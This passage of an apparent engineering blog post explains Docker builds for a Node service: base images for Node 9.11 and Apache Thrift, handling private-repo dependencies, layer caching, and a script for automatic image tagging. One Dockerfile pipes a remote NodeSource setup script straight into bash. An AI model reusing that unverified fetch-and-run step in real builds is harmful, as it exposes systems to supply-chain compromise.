duplicacy.&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ARG&lt;/span&gt; buildDeps=&quot; \ curl \ g++ \ make&quot; &lt;span class=&quot;token comment&quot;&gt;# It causes a pipeline to produce a failure return code if any command results in an error.&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;SHELL&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;-o&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;pipefail&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# hadolint ignore=DL3008,DL3015&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; apt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;get update &amp;amp;&amp;amp; apt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;get install &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;y —&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; no&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;install&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;recommends $buildDeps \ &lt;span class=&quot;token comment&quot;&gt;# Use --no-install-recommends to avoid installing packages that aren&apos;t technically dependencies but are recommended to be installed alongside packages.&lt;/span&gt; &amp;amp;&amp;amp; curl &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;sL https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//deb.nodesource.com/setup_9.x &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; bash &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &amp;amp;&amp;amp; apt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;get install &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;y nodejs=9.11.* \ &amp;amp;&amp;amp; npm i &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;g yarn@1.19.1 \ &amp;amp;&amp;amp; apt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;get clean \ &lt;span class=&quot;token comment&quot;&gt;# Remove apt-cache to make the image smaller.&lt;/span&gt; &amp;amp;&amp;amp; rm &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;rf /var/lib/apt/lists/* &lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Let&apos;s consider we build this with name &apos;wingify-node-9.11.2:1.0.5&apos;. Where &apos;wingify-node-9.11.2&apos; represents the docker image type and &apos;1.0.5&apos; is the image tag.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Apache thrift base image:&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;dockerfile&quot;&gt;&lt;pre class=&quot;language-dockerfile&quot;&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Default base image&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ARG&lt;/span&gt; BASE=wingify&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;node&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;9.11.2&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;1.0.5 &lt;span class=&quot;token comment&quot;&gt;# hadolint ignore=DL3006&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;BASE&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Declaring argument to be used in dockerfile to make it reusable.&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ARG&lt;/span&gt; THRIFT_VERSION=0.10.0 &lt;span class=&quot;token comment&quot;&gt;# Referred from https://github.com/ahawkins/docker-thrift/blob/master/0.10/Dockerfile&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# hadolint ignore=DL3008,DL3015&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; apt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;get update \ &amp;amp;&amp;amp; curl &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;sSL &lt;span class=&quot;token string&quot;&gt;&quot;http://apache.mirrors.spacedump.net/thrift/$THRIFT_VERSION/thrift-$THRIFT_VERSION.tar.gz&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;o thrift.tar.gz \ &amp;amp;&amp;amp; mkdir &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;p /usr/src/thrift \ &amp;amp;&amp;amp; tar zxf thrift.tar.gz &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;C /usr/src/thrift &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;strip&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;components=1 \ &amp;amp;&amp;amp; rm thrift.tar.gz \ &lt;span class=&quot;token comment&quot;&gt;# Clean the apt cache on.&lt;/span&gt; &amp;amp;&amp;amp; apt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;get clean \ &lt;span class=&quot;token comment&quot;&gt;# Remove apt cache to make the image smaller.&lt;/span&gt; &amp;amp;&amp;amp; rm &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;rf /var/lib/apt/lists/* &lt;span class=&quot;token keyword&quot;&gt;WORKDIR&lt;/span&gt; /usr/src/thrift &lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; ./configure &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;without&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;python &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;without&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;cpp \ &amp;amp;&amp;amp; make \ &amp;amp;&amp;amp; make install \ &lt;span class=&quot;token comment&quot;&gt;# Removing the souce code after installation.&lt;/span&gt; &amp;amp;&amp;amp; rm &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;rf /usr/src/thrift&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Here, by default, we are using the above-created node&apos;s Docker image. But we can pass any other environment&apos;s base image as an argument to install thrift there. So, it&apos;s pluggable everywhere.&lt;/p&gt; &lt;p&gt;Finally, the actual service can use above as a base image for it&apos;s dockerfile.&lt;/p&gt; &lt;h3 id=&quot;access-private-repository-dependencies&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#access-private-repository-dependencies&quot; aria-label=&quot;access private repository dependencies permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Access private repository dependencies&lt;/h3&gt; &lt;p&gt;We have multiple services that have some dependencies which are fetched from private repositories. Like in our node service, we have one of our dependencies listed in package.json as:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;my-dependency&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;git+ssh://git@stash/link/of/repo:v1.0.0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Normally we need ssh keys to fetch these dependencies, but a Docker container won&apos;t be having it. Below are the few ways of solving this:&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Option 1:&lt;/strong&gt; Install dependencies externally (local or Jenkins) and Docker will copy them directly.&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;No SSH key required by docker.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Disadvantages:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Dependencies installation won&apos;t be cached automatically as it&apos;s happening outside the docker.&lt;/li&gt; &lt;li&gt;Some modules like bcrypt have binding issues if not installed directly on the same machine.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt; Pass SSH key as an argument in dockerfile or copy it from system to the working directory and let dockerfile copy it. Docker container can then install dependencies.&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Caching is achieved.&lt;/li&gt; &lt;li&gt;No module binding issues.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Disadvantages:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;SSH key would be exposed in a Docker container if not handled correctly.&lt;/li&gt; &lt;li&gt;Single SSH keys will have security issues and different ones will be difficult to manage.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Option 3:&lt;/strong&gt; Host the private repos globally like our own private npm (in case of node.js) and add it&apos;s host entry on the system. Docker container can then install dependencies by fetching from our private npm.&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Caching is achieved.&lt;/li&gt; &lt;li&gt;No SSH key required.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Disadvantages:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;One time setup of hosting.&lt;/li&gt; &lt;li&gt;We need to publish the private repos each time we create a new tag.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Way 3 proved to be much better in our case and we moved ahead with it.&lt;/p&gt; &lt;h3 id=&quot;service-dockerfile&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#service-dockerfile&quot; aria-label=&quot;service dockerfile permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Service Dockerfile&lt;/h3&gt; &lt;p&gt;The final dockerfile of the service implementing all above will be like:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;dockerfile&quot;&gt;&lt;pre class=&quot;language-dockerfile&quot;&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;ARG&lt;/span&gt; BASE=wingify&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;node&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;9.11.2&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;thrift&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;0.10.0&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;1.0.5 &lt;span class=&quot;token comment&quot;&gt;# hadolint ignore=DL3006&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;BASE&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; mkdir &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;p /opt/my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;service/ &lt;span class=&quot;token keyword&quot;&gt;WORKDIR&lt;/span&gt; /opt/my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;service &lt;span class=&quot;token comment&quot;&gt;# Dependency installation separately for caching&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;COPY&lt;/span&gt; ./package.json ./yarn.lock ./.npmrc ./ &lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; yarn install &lt;span class=&quot;token keyword&quot;&gt;COPY&lt;/span&gt; . . &lt;span class=&quot;token keyword&quot;&gt;CMD&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;yarn&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;start:docker&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Here &apos;.npmrc&apos; contains the registry which points to our own private npm. We are copying it so that Docker container can fetch our private repos from it.&lt;/p&gt; &lt;h3 id=&quot;caching&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#caching&quot; aria-label=&quot;caching permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Caching&lt;/h3&gt; &lt;p&gt;Every time we change our code, we don&apos;t want Docker container to install dependencies again (unless changed). For this we divided the &apos;COPY&apos; step in above dockerfile into 2 parts:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;dockerfile&quot;&gt;&lt;pre class=&quot;language-dockerfile&quot;&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Here we are copying the package.json and yarn.lock files and doing dependencies installation.&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# This step will always be cached in Docker unless there is change in any of these files&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;COPY&lt;/span&gt; ./package.json ./yarn.lock ./.npmrc ./ &lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; yarn install &lt;span class=&quot;token keyword&quot;&gt;COPY&lt;/span&gt; . .&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Doing all this will reduce the Docker image build time to just a few seconds!&lt;/p&gt; &lt;h3 id=&quot;auto-tagging-and-rollback&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#auto-tagging-and-rollback&quot; aria-label=&quot;auto tagging and rollback permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Auto-tagging and rollback&lt;/h3&gt; &lt;p&gt;Tagging is important for any rollback on productions. Fortunately, it&apos;s easy to do in docker. While building and pushing an image on Kubernetes we can specify the tag version with a colon. We can then use this tag in Kubernetes YAML file to deploy on the pods.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;docker build -t org/my-service &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; docker build -t org/my-service:1.2.3 &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; docker push org/my-service &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; docker push org/my-service:1.2.3 &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This works fine, but it still requires a new tag every time we are building a new version of the image. This can be passed manually to a job. But what if there is auto-tagging?&lt;/p&gt; &lt;p&gt;First, let&apos;s find out the latest tag. Here is the command to find the latest image tag from GCP:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;gcloud container images list-tags image-name --sort-by&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;~TAGS --limit&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; --format&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;json&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We can use this in a custom node script which will return the new incremented version. We just have to pass the image name and the release type i.e. major/minor/patch to it.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Usage: node file-name image-name patch&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; exec &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;child_process&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;execSync&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;TAG_TYPES&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;PATCH&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;patch&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;MINOR&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;minor&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;MAJOR&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;major&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Referenced from https://semver.org/&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;VERSONING_REGEX&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/^(v)?(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$/m&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Autotag&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;imageName &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tagType &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;TAG_TYPES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;PATCH&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;_validateParams&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;imageName&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tagType&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;imageName &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; imageName&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;tagType &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; tagType&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Private functions&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;_validateParams&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;imageName&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tagType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;imageName&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Image name is mandatory.&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;Object&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;TAG_TYPES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tagType&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;Invalid tag type specified. Possible values are &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;Object&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;TAG_TYPES&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span class=&quot;token 